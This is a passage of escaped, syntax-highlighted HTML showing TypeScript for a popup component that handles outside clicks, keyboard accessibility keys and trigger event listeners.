class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowClick\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e: \u003cspan class=\"kt\"\u003eEvent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Return if the popup is not yet open\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Return if click is the trigger element\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e \u003cspan class=\"kr\"\u003eas\u003c/span\u003e \u003cspan class=\"nx\"\u003eNode\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// If click it outside the popup\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e \u003cspan class=\"kr\"\u003eas\u003c/span\u003e \u003cspan class=\"nx\"\u003eNode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Handle Close Query State\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ecloseQueryString\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecloseQuery\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003eundefined\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;a[href], button\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecloseQuery\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eclosableMenuElements\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003equerySelectorAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecloseQueryString\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eclosableMenuElements\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003eelem\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e \u003cspan class=\"kr\"\u003eas\u003c/span\u003e \u003cspan class=\"nx\"\u003eNode\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Keyboard Interactions for A11y\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowKeyDown\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e: \u003cspan class=\"kt\"\u003eKeyboardEvent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Handle keys\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ekey\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ekey\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// On Esc key\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Escape\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epreventDefault\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003efocus\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// On Tab or ArrowDown key\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003etriggerMenuFocused\u003c/span\u003e: \u003cspan class=\"kt\"\u003eboolean\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eactiveElement\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerMenuFocused\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;ArrowDown\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nx\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Tab\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003efocusableAllowedList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003efocusablePopupElements\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epreventDefault\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003efocusablePopupElements\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"nx\"\u003efocus\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Event Listeners\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowClick\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;hover\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mouseover\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mouseleave\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;focus-blur\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;focus\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;blur\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;focus-click\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;focus\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowClick\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Event value of \u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#39; is not supported.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;keydown\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowKeyDown\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Render popup on initialization\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 